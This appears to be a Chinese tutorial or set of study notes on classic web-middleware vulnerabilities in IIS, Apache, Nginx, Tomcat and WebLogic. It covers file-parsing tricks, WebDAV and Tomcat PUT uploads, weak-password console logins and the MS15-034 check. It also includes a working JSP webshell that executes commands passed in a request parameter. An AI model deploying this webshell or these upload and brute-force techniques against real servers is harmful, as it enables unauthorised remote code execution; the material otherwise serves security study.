中间件(Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间;我们可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件
IIS、Apache、Nginx、Tomcat、shiro、WebLogic....
IIS漏洞
IIS是什么?
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。目前只适用于Windows系统,并且常与asp搭配
IIS6.x版本
基于文件名:该版本会默认把
*.asp;.jpg
文件当成.asp文件来执行;原理是服务器默认不解析分号,后面的内容相当于截断基于文件夹名:该版本会默认将
*.asp/
目录下的所有文件当成Asp文件解析;IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp,
补充:IIS
目前只适用于目Windows
系统不适用于其他操作系统
IIS 7.x版本
IIS7.x版本 在Fast-CGI运行模式下,在任意文件,例:test.jpg后面加上/.php,会将test.jpg 解析为php文件
PUT任意文件写入任
IIS Server 在 Web 服务扩展中开启了 WebDAV之后,支持多种请求,配合写入权限,可造成任意文件写入
WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,如PUT
可以用于将文件上传到服务器、MOVE
可以移动 / 重命名服务器上的文件,这两个方法配合即可达到getshell
的目的。
可以用一个Python
脚本来验证一个网站是否开启了PUT
方法:
import requestsif __name__ == '__main__':
url = input("Please input the target url: ")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0"
}
# 构造数据包,向目标服务器发起Options请求,查看是否支持PUT协议
response = requests.options(url=url, headers=headers)
if "PUT" in response.headers['Public']:
print("Yes!")
如果开启了PUT
方法,就可以尝试上传文件,如果后缀受限制,则可以尝试用MOVE
方法将其重命名为asp / php
后缀
IIS短文件漏洞
Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于
MS-DOS
或16位 Windows的程序
访问这些文件;在cmd下输入"dir /x"即可看到短文件名的效果
Apache漏洞
未知扩展名解析漏洞
Apache对后缀名的解析是从右往左进行的,当遇到未知的后缀名时,会从右往左继续寻找,直到找到合法后缀名从解析,如
a.php.xxx
会以php文件进行执行
AddHandler导致的解析漏洞
如果运维人员给.php后缀增加了处理器:
AddHandler application/x-httpd-php .php
那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀;利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞
Apache2.4.0-2.4.29版本(Httpd换行解析漏洞;也称CVE-2017-15715)
由于正则表达式不单匹配字符串的结尾位置,也可以匹配\n,\r,因此在解析php时,如
1.php\x0A
会被按php后缀解析,导致绕过一些服务器的安全策略
然后访问:http://localhost:8080/1.php%0a,即可看到php
代码被成功执行;此漏洞形成的根本原因,在于Apache
的配置文件中存在以下配置:
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
而正则表达式中的 $
,$
不仅匹配字符串结尾位置,也可以匹配\n
或\r
Njinx渲染
任意解析漏洞
小皮面板(8.1.0.4;8.1.0.7)默认配置下存在任意文件解析漏洞:上传图片马,在图片马地址后面加
/.php
即可执行图片马
补充:此漏洞为Nginx配置所导致,与Nginx版本无关
空字节任意代码执行漏洞
影响版本:0.5.*
,0.6.*
,0.7<=0.7.65
,0.8<=0.8.37
若目录下存在一个实际为php文件的a.jpg文件,可通过访问该文件,抓包修改为
a.jpg...php
,在hex选项卡中将jpg后的.修改为00即可让文件依旧以php解析;该漏洞不受cgi.fix_pathinfo影响,当其为0时依旧解析
文件名逻辑漏洞(CVE-2013-4547)
影响版本:0.8.41-1.4.3/1.5.0-1.5.7
实现方法与上一个相类似,访问a.jpg,抓包修改为
a.jpg...php
,在hex选项卡中修改jpg后的两个点2e
为20
,00
,即可以php文件解析,该漏洞不受cgi.fix_pathinfo影响,当其为0时依旧解析
CRLF注入
这是一项由于配置不当所导致的漏洞;Nginx文档有3个表示uri的变量:1.
uri
2.document_uri
3.$request_uri
;1,2表示解码以后的请求路径,不带参数,3表示的是完整的URI(没有编码)Nginx会将1,2进行解码,导致传入%0a%0b即可引入换行符,导致CRLF注入漏洞
目录穿越:在配置Nginx别名时忘记加/,导致访问..可穿越至上级目录
目录遍历:当配置文件中,autoindex值设置为on时,将产生目录遍历漏洞
畸形解析
漏洞利用:在Fast-CGI运行模式下(php.ini的cgi.fix_pathinfo=1,在phpinfo中会显示该模式开启)上传任意文件,例:test.jpg后面加上/.php,会将test.jpg解析为php文件。但高版本的php中引入了security.limit_extension选项,使这一漏洞难以利用。
补充:中间件在拿到文件路径/test.jpg/.php
后,发现后缀为.php
,将其转交php
解释器处理;而php
的cgi.fix_pathinfo
选项默认开启,会对文件路径进行"维修",也就是当/test.jpg/.php
文件不存在,则去掉最后一个斜杆/
及其往后的所有字符,变为/test.jpg
,最后将jpg
文件作为php
文件解析。但高版本的php
中引入了security.limit_extension
选项,就限制了可执行文件的后缀,默认只允许执行.php
后缀的文件
Tomcat漏洞
Tomcat任意文件写入(CVE-2017-12615)
环境:Tomcat/8.0.30
当配置文件/conf/web.xml配置了可写(readonly=false),即可往服务器写文件
在Tomcat 8.x
的配置文件/conf/web.xml
中将只读选项关闭,即可写入任意文件。
<servelt>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
</servelt>
当然,Tomcat还是不允许上传jsp
后缀文件,这时可以通过/
进行绕过:
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5shell
Tomcat+弱口令&&后台getshell漏洞
Tomcat`存在管理后台,账号密码设置在配置文件`/conf/tomcat-users.xml`中,可能存在弱口令 / 爆破的风险。访问`manager/html`,使用弱口令如`tomcat/tomcat`、`admin/admin`、`admin/123456`进行爆破进入后台管理
抓包,可以看到不存在通过POST
或GET
提交的登录信息,这是因为其信息被Base64
编码后保存在Authorization
首部字段中:
BurpSuite
中的Base64
爆破操作:登录成功可以在底部位置上传war
包拿到权限
war
包制作:将以下内容写入test.jsp
,压缩为test.zip
后重命名为test.war
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
weblogic漏洞
任意文件上传(CVE-2018-2894)
在 12.1.3.0, 12.2.1.2, 12.2.1.3
版本中的Weblogic Web Service Test Page
页面(生产模式下)存在两处文件上传点可以利用,个人认为比较鸡肋,就不展开了
弱口令
访问http://127.0.0.1:7001/console/login/LoginForm.jsp 进入管理后台,使用弱口令密码登录, weblogic
常用弱口令:https://blog.csdn.net/csacs/article/details/86828522。登录之后可以在后台上传文件getshell
。
反序列化命令执行(CVE-2018-2628 & CVE-2018-3245)
基于
T3
(丰富套接字)协议通过反序列化操作实现了JVM
的RMI
(Remote Method Invocation,远程方法调用)。第一个漏洞在打上官方补丁后仍然存在,只是利用方式不同,因此又有了一个 CVE 编号影响版本:
10.3.6.0.0、12.1.3.0.0、12.2.1.2、12.2.1.3
我们通过利用这些漏洞可以构造payload,用于获取配置文件、XSS、进行RCE(反弹shell也行)或者文件读写
HTTP.SYS远程代码执行(MS15-034)
影响版本:Windows:Win7、Win Server 2008 R2、Win8、Win Server 2012、Win8.1、 Win Server 2012 R2 ;IIS版本为7.5
编辑请求头,增加
Range: bytes=0-18446744073709551615
字段,若返回码状态为416 Requested Range Not Satisfiable
,则存在HTTP.SYS远程代码执行漏洞
修复:安装修复补丁(KB3042553)
RCE-CVE-2017-7269
影响范围:在Win 2003 R2(Microsoft(R) Windows(R) Server 2003, Enterprise Edition Service Pack 2)上使用IIS 6.0并开启WebDAV扩展
Microsoft Windows Server 2003 R2中的Internet信息服务(IIS)6.0中的WebDAV服务中的
ScStoragePathFromUrl函数
中的缓冲区溢出允许远程攻击者通过以"If:<http://
"开头的长标头执行任意代码PROPFIND请求。
修复:关闭 WebDAV
Tomcat远程代码执行(CVE-2019-0232)
影响范围:9.0.0.M1-9.0.17,8.5.0-8.5.39,7.0.0-7.0.93;
影响系统:windows
启用了CGI Servlet(默认为关闭),enableCmdLineArguments(
Tomcat 9.0.*
及官方未来发布版本默认为关闭);由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击
weblogic未授权命令执行(CVE-2020-14882&14883)
影响版本:weblogic版本10.3.6.0.0、12.1.3.0.0、12.2.1.2、12.2.1.3
访问/console/css/%252e%252e%252fconsole.portal,可以直接进入后台,构造payload即可实现RCE。
weblogic反序列化(CVE-2017-10271)
影响版本:weblogic版本10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0
Weblogic
中的WLS Security
组件对外提供了webservice
服务中使用了XMLDecoder
来解析用户传入的xml
数据,在解析过程中存在反序列化漏洞可导致RCE
另外附带参考笔记如下:
参考链接:https://vnlhub.org/#/environments/httpd/CVE-2017-15715/
参考链接:https://blog.csdn.net/weixin_42918771/article/details/104876025
推荐阅读
学习更多技术,关注我: